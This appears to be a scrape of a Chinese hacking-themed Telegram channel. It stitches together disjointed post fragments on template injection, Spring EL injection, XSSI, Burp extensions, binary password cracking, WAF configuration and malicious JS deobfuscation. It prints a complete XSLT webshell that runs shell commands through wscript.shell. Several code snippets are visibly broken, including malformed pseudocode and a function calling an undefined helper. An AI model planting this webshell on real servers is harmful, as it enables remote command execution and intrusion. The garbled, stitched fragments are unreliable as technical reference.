黑客 入侵攻击 web破解
848 subscribers
746 photos
47 links
黑客 入侵攻击 web破解
Download Telegram
👅👅👅👅👅👅👅
🔥要讨论模板引擎的攻击,先来了解下什么是模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。(百度百科) 说白了,就是使得后端数据转换成前端html以及样式的中间应用件。🎉
♥️♥️♥️♥️♥️♥️♥️♥️♥️
🤘模板引擎(Template engines)在现代web应用被广泛使用,它们被用来动态地显示数据。然而,不安全地将用户输入嵌入到模板中,会导致一系列针对服务器的注入攻击。然而,这种漏洞很容易被误当做Xss对待。然而,针对模板的注入其实可以攻击服务器,往往还能够RCE(远程命令执行),触发任意对象构造,任意文件读写,远程文件包含信息泄露,和提权。🤘
🥳🥳🥳🥳🥳🥳🥳🥳🥳
当今web应用频繁地使用模板系统,诸如Twig,FreeMarket等。当用户输入嵌入在一个很没有安全性的模板时,模板注射就可能发生。
现在我们假设调用了Twig框架用来显示欢迎页面,如果直接把名字传递给模板,不会出现错误 就像这样
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

💎💎💎💎💎💎💎💎💎
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😱😱😱😱😱😱
😱😱dnSpyEx 是一款功能强大的开源 .NET 程序集逆向工程工具,它集成了 反编译器 (Decompiler)调试器 (Debugger) 和 汇编编辑器 (Assembly Editor) 三大核心功能。在网络安全渗透测试或取证分析中,当安全人员通过文件上传、信息泄漏或其他方式获取到目标 .NET 网站(如 ASP.NET) 后端的 DLL 文件(通常包含业务逻辑、敏感配置或加密密钥等),dnSpyEx 就能发挥关键作用。安全人员可以利用其 反编译 功能,将 DLL 文件中的 IL 代码 还原为可读性高的 C# 源代码,从而分析应用程序的内部工作原理、识别潜在的 敏感信息(如数据库连接字符串、硬编码凭证)或查找业务逻辑中的安全漏洞。此外,dnSpyEx 的 调试器 允许在反编译的代码级别进行单步跟踪,帮助理解复杂的代码执行流程,而其 编辑 能力甚至允许直接修改程序集,用于验证补丁或自定义分析。💰💰
🥳🥳🥳🥳🥳🥳🥳
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🎉🎉这个漏洞已经出来很久了,以前简单分析过,但是由于时间关系,没能深入研究原理,网上对这个漏洞的分析也不太多,最近由于工作原因,深入分析了一下这个漏洞的原理,这里重点将漏洞调试过程,以及一些之前遇到的一些奇怪问题的原因记录下来。
👀👀👀👀👀👀👀
🔥🔥可以看到,这个漏洞的形成,是因为在早于JSP2.0的版本上,由于没有EL表达式的支持,Spring标签为了兼容这部分版本,Spring的一部分标签独立于Servlet/JSP容器添加了对EL表达式的支持。但这样做引起了一个问题,就是当这部分标签在支持EL表达式的容器中运行的时候,Spring标签的属性会被当做EL表达式执行两次,第一次是被容器当做EL执行,第二次是被Spring标签自身执行。所以,如果攻击者可以控制标签属性的内容,就可以执行自己提交的EL表达式,会造成信息泄露、代码执行等风险。
首先编写一段测试JSP代码,并且引入存在漏洞的Spring标签,我这里使用的是Tomcat 7.0.57和Spring 3.0.5
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>
👍👍👍👍👍
🚗🚗每个会议发出论文邀请以及会议的主页,并列出了投稿主题和兴趣,以及截止投稿时间。每个学术会议一般一年举办一次,最有名的学术界四大安全会议为S&P(又称Oakland),Usenix Security,CCS和NDSS (排名分先后)。
🪩🪩🪩🪩🪩🪩
👍👍研究员在截止日期之前提交论文。每个会议通常会收到100至300篇论文投稿,语言必须为英文,每篇论文包含等同于8-15页双栏或者20-40页单栏的文字量(包括引用)。有的会议还接受short paper(短篇论文),比full paper(完整论文)大概少一半的文字量。
🔥🔥🔥🔥🔥🔥🔥
🥳🥳Program Committee(会议程序委员会) 由大约20 - 50位专家学者组成。每篇文章会被三到五个人评审,这些人要么是PC成员,要么是由PC成员邀请的志愿外部审稿专家。审稿过程会持续约1-3个月左右。
🥳🥳🥳🥳🥳🥳
🚗🚗在所有PC成员完成审稿后,PC会参考审稿人的建议开会决定接受哪些论文和拒收哪些论文。比较好的会议的中稿率都会在20%以下,二流会议的中稿率大概在20%-30%之间。随后PC向所有作者发email通知他们是否接受其论文,并附上审稿意见。因为这些相对较低的接受率,一篇论文在被接受发表之前被拒收,修改,重新提交数次是不奇怪的,这个过程可能会花费数年。(一篇文章在同一时间只能被提交到一个会议。)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
333😱😱Cross Site Script Inclusion (XSSI) 跨站脚本包含是一种攻击技术允许攻击者通过恶意js绕过边界窃取信息。具体的说,应该是通过潜入script标签加载外部数据,for example:
<!-- attacker's page loads external data with SCRIPT tag -->
<SCRIPT src="http://target.wooyun.org/secret"></SCRIPT>


😱😱过去几年,web安全研究者之中通用的认识中js文件,jsonp, json,或者版本较老的浏览器都有可能受到这种方式的攻击,除此之外,还可以通过一些浏览器的漏洞来得到js的错误信息利用,不过目前应该已经修复的差不多了。
😱😱2025,我们针对这个技术进行了专门的研究,发现了一些有趣的利用技术和浏览器漏洞,可以获取一些简单的文本中的信息,比如csv,在一些特定的情境下还可以获得更复杂的信息。我们主要的研究方向在于通过客户端脚本去识别目标数据的方法,比如变量,或者函数
🔼🔼🔼🔼🔼🔼
Burpsuite作为web测试的神器,已经人手必备了。它提供的一系列互相配合的工具,极大的提高了手工测试的效率,从1.5版本开始,Burpsuite开始支持扩展。用户可以自己开发扩展实现一些特殊的需求。不过目前关于Burpsuite扩展开发的中文资料很少。这里抛砖引玉总结一下学习的过程。
💰💰💰💰💰💰
目前burpsuite官方支持用java,python,ruby开发扩展,选择还是很多的。Brupsuite的扩展可以实现非常多的功能,比如自定义扫描,修改http请求和响应,修改burp配置等等。几乎所以burpsuite功能都支持在扩展中进行控制。所以其实是可以用扩展把自己经常使用的功能做成自动化的。
👍👍👍👍👍👍👍
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍👍👍👍👍👍
从反汇编的代码可能看到两个令人激动的函数,一个是memfrob(),通过找男人(man)知道,这个函数是将输入的指定长度的字符串中的字符与数字42做异或,既然是异或操作,就是可逆的。另一个函数是strcmp(),这个函数才是最令人激动的,从整个程序流程大概看到,程序通过scanf()获取用户输入,然后通过memfrob()做异或处理,然后再送入strcmp()做匹配,所以,我们只要在strcmp()函数调用处下断点,然后查看栈内容就可以得到真正的密码了。
👅👅👅👅👅👅
id = getpid()
s = lstat("touch " + str(id))
if(s & 0xf000 == 0x8000){
unlink(str(id);
system("touch " + ID);
}
sleep(0x7d0);
system("cat " + str(id));
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥳🥳🥳🥳🥳
在第二行中,xmlns:msxsl为自定义函数块的命名空间,xmlns:zcg为自定义函数的命名空间与前缀,可以任意命名。
🤔🤔🤔🤔🤔
第三行的msxsl:script声明了一个脚本块,其language属性指定了要使用的脚本语言,implements-prefix则与前面xmlns:zcg这个命名空间前缀相对应。
🚗🚗🚗🚗
在第七行通过zcg:xml(string(.))调用了这个自定义函数,由于自定义函数只能传入字符串、数字、日期等标量,以及XML的一系列对象,所以先通过string内置函数转换为字符串从而获取text,再传入函数中。同样的,由于Response、Server等对象是asp内置的,所以既不能在自定义函数中访问,也不能传递给自定义函数,所有的数据传递都是通过字符串进行的。
🥳🥳🥳🥳🥳
脚本块的函数则是简单的执行-返回,其返回值会替换所匹配的节点的内容,所以上述xsl的作用就是:将指定xml中/root节点的文本作为命令执行,并返回结果。
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="vbscript" implements-prefix="zcg">
<![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]>
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml(string(.))"/>
</xsl:template>
</xsl:stylesheet>
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥳🥳想来想去还是归结成一个系列吧,虽然说在现在各种讲究高大上的时代还谈webshell实在是一种没什么品味的做法。 基本上也就是一些新型webshell、特殊环境下的特殊利用、特殊webshell的菜刀中转脚本等,外带一些对应的分析。 先挖个坑,至于填坑么⋯⋯看情况吧。

🪩🪩相信所有人对xml都不陌生,其被广泛的应用于数据数据传输、保存与序列化中,是一种极为强大的数据格式。强大必然伴随着复杂,xml在发展中派生出了一系列标准,包括DTD、XSD、XDR、XPATH以及XSLT等。

🥳🥳XSLT全称为拓展样式表转换语言,其作用类似于css,通过指定的规则,将一个xml文档转换为另外的形式。指定的规则由另外一个xml文件描述,这个文件通常为xsl后缀。xsl语法相对较为复杂,详情可以参考msdn中“XSLT 参考”一节。
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰🥰🥰🥰🥰🥰🥰
这样做的情况下,如果站点比较多,就会导致nginx配置比较乱,而且当nginx配置多站点的情况下,会出现一些问题。我这里就借用安全宝的一份对比表来说明。
🔥🔥🔥🔥🔥🔥🔥
当一个用户访问到waf服务器时,首先获取host参数,根据网址配置里查询到对应的upstream,给预先定义的变量$upstream,从而达到正确转发的目的。
🥰🥰🥰🥰🥰🥰🥰
而且后期还可以将网站信息存储在数据库,当第一次访问的时候再加载到内存,达到动态加载的目的
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰🥰🥰🥰🥰🥰🥰
因此后面的c1h82by0(document)就显得很是危险,所以让我们看看s4tb[0]的内容并注释掉后面的内容,记得之前说的嘛?一个script块中的代码一直到出错为止都是可以正常运行的,所以不用管之后的代码会不会出错了,主要是后面的代码很可能是恶意代码,不能让恶意代码在我们自己的电脑上跑起来。
🥰🥰🥰🥰🥰🥰
至此,这个页面的核心内容我们已经全部了解了,至于后面的几个变量,解法也是一样的,如果想要练手的话,可以试着将页面内容全部还原成无混淆状态试试看。页面内容见附件。
function mylog(current, max)
{
if(current <= max)
{
console.log(current);
add(current+1, max);
}
}

mylog(1,3);
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
2🔥1